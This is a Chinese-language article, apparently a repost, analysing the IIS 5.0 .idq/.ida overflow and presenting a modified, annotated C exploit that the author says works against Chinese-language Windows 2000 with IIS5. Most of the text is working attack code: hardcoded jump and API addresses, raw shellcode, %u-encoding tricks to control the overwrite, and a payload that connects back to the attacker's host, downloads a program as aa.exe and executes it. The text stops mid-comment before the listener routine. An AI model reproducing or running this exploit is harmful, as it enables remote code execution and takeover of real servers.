对.idq/.ida溢出攻击的分析-百科知识库

对.idq/.ida溢出攻击的分析对.idq/.ida溢出攻击的分析

by isno(isno@xfocus.org)

　 IIS的.idq/.ida映射的溢出漏洞已经公布了好久了，但由于利用这个漏洞有
比较大的难度，所以可用的攻击程序一直也没弄出来。甚至连发现这个漏洞的
eEye也没做出攻击程序来，由于发送的内容被转换成了宽字符，所以覆盖用的
溢出地址比较难以控制，按照eEye的办法，是在shellcode前面放上很多NOP这样
就把shellcode推向了0x004x00xx的地址，就可以用xx4x这样的串来覆盖ret，这
个串被扩展为xx004x00以后正好跳转到shellcode的位置。这种方法虽然理论上
行的通，但是实际上问题非常多，可以控制跳转却无法执行代码，而且不同的机
器这个0x004x00xx都不一样，这样就很难做出通用性比较好的exploit。

　昨天终于看到公布了可用的攻击程序，一开始没仔细看还以为是骗人的。后
来用softice跟了一下，又请教了一下袁哥才搞明白。这个exploit写得很不错，
用巧妙的方法避开来被扩展成宽字符，可以随意控制跳转地址，利用他的方法可
以很轻松的改写出更完善的exploit。

　这个程序的shellcode比较简单，只是连到指定主机的指定端口去接受数
据，然后把它存为aa.exe，然后运行aa.exe。但它和以前的对付.htr溢出的那个
iishack不一样，它不能主动请求数据，而只能等待那边的主机发送数据，所以
你不能用它来下载指定的程序，而必须由攻击端的攻击程序来开个进程等待发送
数据到被攻击的主机。

　我把这个程序稍微改了一下，使它可以攻击中文版IIS5。因为过几天要考
试，我也没有时间再写个新程序了，只有等考完后在弄。下面就是我改良过
的.idq exploit程序，作了一些比较详细的注解：

-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
对中文版WIN2k + IIS 5.0 + SP0攻击成功！
在RedHat6.2上编译
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET 0x77e4ac97 /* jmp or call ebx */
/* 这是中文版WIN2K（没有安装SP）中jmp ebx的地址*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*中文版GetModuleHandleA和GetProcAddress的地址*/
/*这两个API的地址固定了，这样通用性不好，其实可以用shellcode来搜索*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleA的地址在shellcode中的偏移位置*/

#define GPADDRESS_OFFSET 61
/*同上*/

#define OFFSET 234 /* exception handler offset */
/*
作者选择了覆盖SEH，这样可以避免覆盖掉某些形参而引起的错误，
但根据我的测试，覆盖RET也是一样的
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*做了一些编码，以免地址或端口中还有\0字节而截断shellcode*/

#define PORT 555
/*shellcode要连接的端口，不要用80，因为80一般都被占用了*/

#define ADDR "111.111.111.111"
/*
！！！注意：上面这个地方是必须要更改的地方！！！

这是你发起攻击的主机地址，就是你运行攻击程序的那台主机。
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*都是一些偏移量*/

unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
/*shellcode实现连接到攻击端并下载程序的功能，这个程序必须在攻击端主机上*/

unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
/*这是前面的shellcode用来跳到后面并寻址字符串*/

unsigned char forwardjump[]=
"%u08eb";
/*这是覆盖异常结构的jmp 08h，用来跳到后面寻址shellcode的那段代码*/
/*
作者在前面加了一个%u符号，这样就可以免于被扩展成宽字符，这方法
太妙了！至于IIS是这样处理%u的，可以参见bbs.nsfocus.com上袁哥反汇编
的代码。后面的返回地址和跳转shellcode的代码也作了同样的处理。
*/

unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
跳转到shellcode去，我不一句句的解释了，如果有兴趣可以自己看，
注意每两个字节都是反的，%uC033在转换后变成了\x33\xC0。
*/

unsigned int resolve(char *name)
{
　 struct hostent *he;
　 unsigned int ip;

　 if((ip=inet_addr(name))==(-1))
　 {
　　　 if((he=gethostbyname(name))==0)
　　　　　 return 0;
　　　 memcpy(&ip,he->h_addr,4);
　 }
　 return ip;
}
/*域名->IP*/

int make_connection(char *address,int port)
{
　 struct sockaddr_in server,target;
　 int s,i,bf;
　 fd_set wd;
　 struct timeval tv;

　 s = socket(AF_INET,SOCK_STREAM,0);
　 if(s<0)
　　　 return -1;
　 memset((char *)&server,0,sizeof(server));
　 server.sin_family = AF_INET;
　 server.sin_addr.s_addr = htonl(INADDR_ANY);
　 server.sin_port = 0;

　 target.sin_family = AF_INET;
　 target.sin_addr.s_addr = resolve(address);
　 if(target.sin_addr.s_addr==0)
　 {
　　　 close(s);
&nbs

p;　　　 return -2;
　 }
　 target.sin_port = htons(port);
　 bf = 1;
　 ioctl(s,FIONBIO,&bf);
　 tv.tv_sec = 10;
　 tv.tv_usec = 0;
　 FD_ZERO(&wd);
　 FD_SET(s,&wd);
　 connect(s,(struct sockaddr *)&target,sizeof(target));
　 if((i=select(s+1,0,&wd,0,&tv))==(-1))
　 {
　　　 close(s);
　　　 return -3;
　 }
　 if(i==0)
　 {
　　　 close(s);
　　　 return -4;
　 }
　 i = sizeof(int);
　 getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
　 if((bf!=0)||(i!=sizeof(int)))
　 {
　　　 close(s);
　　　 errno = bf;
　　　 return -5;
　 }
　 ioctl(s,FIONBIO,&bf);
　 return s;
}
/*上面是连接主机的函数*/

/*
下面这个函数很重要，它监听在前面定义的那个的端口，我用了555，
一旦有主机连接过来，后面那个进程就把本地的一个程序发送过去，
这个程序当然也是在运行时指定的。